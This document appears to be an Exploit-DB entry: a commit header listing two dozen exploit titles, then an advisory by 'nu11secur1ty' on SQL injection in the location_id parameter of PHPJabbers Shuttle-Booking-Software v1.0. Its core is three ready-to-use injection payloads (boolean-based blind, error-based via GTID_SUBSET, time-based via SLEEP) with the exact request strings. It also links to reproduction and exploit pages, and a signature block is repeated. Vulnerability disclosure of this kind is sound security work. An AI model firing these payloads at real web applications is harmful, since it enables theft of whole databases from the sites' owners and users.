f3649a641f
24 changes to exploits/shellcodes/ghdb Minio 2022-07-29T19-40-48Z - Path traversal Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Denial Of Service Atcom 2.7.x.x - Authenticated Command Injection Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE) Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Credentials Extraction OpenPLC WebServer 3 - Denial of Service Splunk 9.0.5 - admin account take over BoidCMS v2.0.0 - authenticated file upload vulnerability Cacti 1.2.24 - Authenticated command injection when using SNMP options Chitor-CMS v1.1.2 - Pre-Auth SQL Injection Clcknshop 1.0.0 - SQL Injection Coppermine Gallery 1.6.25 - RCE Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated) GLPI GZIP(Py3) 9.4.5 - RCE Limo Booking Software v1.0 - CORS Media Library Assistant Wordpress Plugin - RCE and LFI Online ID Generator 1.0 - Remote Code Execution (RCE) Shuttle-Booking-Software v1.0 - Multiple-SQLi Webedition CMS v2.9.8.8 - Blind SSRF WEBIGniter v28.7.23 File Upload - Remote Code Execution Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation Wordpress Sonaar Music Plugin 4.7 - Stored XSS Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
75 lines
No EOL
2.7 KiB
Text
75 lines
No EOL
2.7 KiB
Text
## Title: Shuttle-Booking-Software v1.0 - Multiple-SQLi
|
|
## Author: nu11secur1ty
|
|
## Date: 09/10/2023
|
|
## Vendor: https://www.phpjabbers.com/
|
|
## Software: https://www.phpjabbers.com/shuttle-booking-software/#sectionPricing
|
|
## Reference: https://portswigger.net/web-security/sql-injection
|
|
|
|
## Description:
|
|
The location_id parameter appears to be vulnerable to SQL injection
|
|
attacks. A single quote was submitted in the location_id parameter,
|
|
and a database error message was returned. Two single quotes were then
|
|
submitted and the error message disappeared.
|
|
The attacker easily can steal all information from the database of
|
|
this web application!
|
|
WARNING! All of you: Be careful what you buy! This will be your responsibility!
|
|
|
|
STATUS: HIGH-CRITICAL Vulnerability
|
|
|
|
[+]Payload:
|
|
```mysql
|
|
---
|
|
Parameter: location_id (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: controller=pjFrontPublic&action=pjActionGetDropoffs&index=348&location_id=3''')
|
|
AND 1347=1347 AND ('MVss'='MVss&traveling=from
|
|
|
|
Type: error-based
|
|
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
|
|
GROUP BY clause (GTID_SUBSET)
|
|
Payload: controller=pjFrontPublic&action=pjActionGetDropoffs&index=348&location_id=3''')
|
|
AND GTID_SUBSET(CONCAT(0x716b786a71,(SELECT
|
|
(ELT(9416=9416,1))),0x71706b7071),9416) AND
|
|
('dOqc'='dOqc&traveling=from
|
|
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: controller=pjFrontPublic&action=pjActionGetDropoffs&index=348&location_id=3''')
|
|
AND (SELECT 1087 FROM (SELECT(SLEEP(15)))poqp) AND
|
|
('EEYQ'='EEYQ&traveling=from
|
|
---
|
|
```
|
|
|
|
## Reproduce:
|
|
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Shuttle-Booking-Software-1.0)
|
|
|
|
## Proof and Exploit:
|
|
[href](https://www.nu11secur1ty.com/2023/09/shuttle-booking-software-10-multiple.html)
|
|
|
|
## Time spent:
|
|
01:47:00
|
|
|
|
|
|
--
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
|
|
https://www.exploit-db.com/
|
|
0day Exploit DataBase https://0day.today/
|
|
home page: https://www.nu11secur1ty.com/
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
nu11secur1ty <http://nu11secur1ty.com/>
|
|
|
|
|
|
--
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
https://cve.mitre.org/index.html
|
|
https://cxsecurity.com/ and https://www.exploit-db.com/
|
|
0day Exploit DataBase https://0day.today/
|
|
home page: https://www.nu11secur1ty.com/
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
nu11secur1ty <http://nu11secur1ty.com/> |